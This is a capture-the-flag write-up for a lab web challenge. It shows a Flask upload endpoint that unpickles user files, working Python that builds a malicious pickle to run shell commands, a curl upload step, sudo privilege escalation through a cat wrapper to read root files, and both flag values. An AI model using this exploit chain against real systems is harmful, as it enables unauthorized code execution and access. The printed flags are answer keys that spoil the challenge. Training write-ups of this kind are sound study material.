Pickle Jar - CTF Writeup
| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Contents
Reconnaissance
Port 80 - nginx proxying to a Python Flask “DataVault Backup Management Portal” that accepts .pkl (pickle) files for “configuration restore”.
Pickle Deserialization RCE
The /upload endpoint calls pickle.loads() on user-supplied data without any sanitization. Python pickle is inherently insecure — deserializing untrusted data executes arbitrary code.
Exploit
Create a malicious pickle that runs a command via subprocess.check_output:
import pickle
import subprocess
class RCE:
def __reduce__(self):
return (subprocess.check_output, (['sh', '-c', '<command>'],))
payload = pickle.dumps(RCE())
Upload it to execute commands:
curl -X POST http://TARGET/upload -F "[email protected]"
The response includes the command output in the config field.
User Flag
cat /home/vault/flag-user.txt
User Flag: 790f26f3-e670-4ea2-b46d-5ad546da0b51
Privilege Escalation
The vault user can run a script as root without a password:
User vault may run the following commands:
(root) NOPASSWD: /opt/vault/backup-util
The script is a simple bash wrapper around cat:
#!/bin/bash
cat "$1"
It can read any file as root:
sudo /opt/vault/backup-util /root/flag-root.txt
Root Flag
Root Flag: 24ad4f06-90ad-41a2-9741-fedfc20f6dc3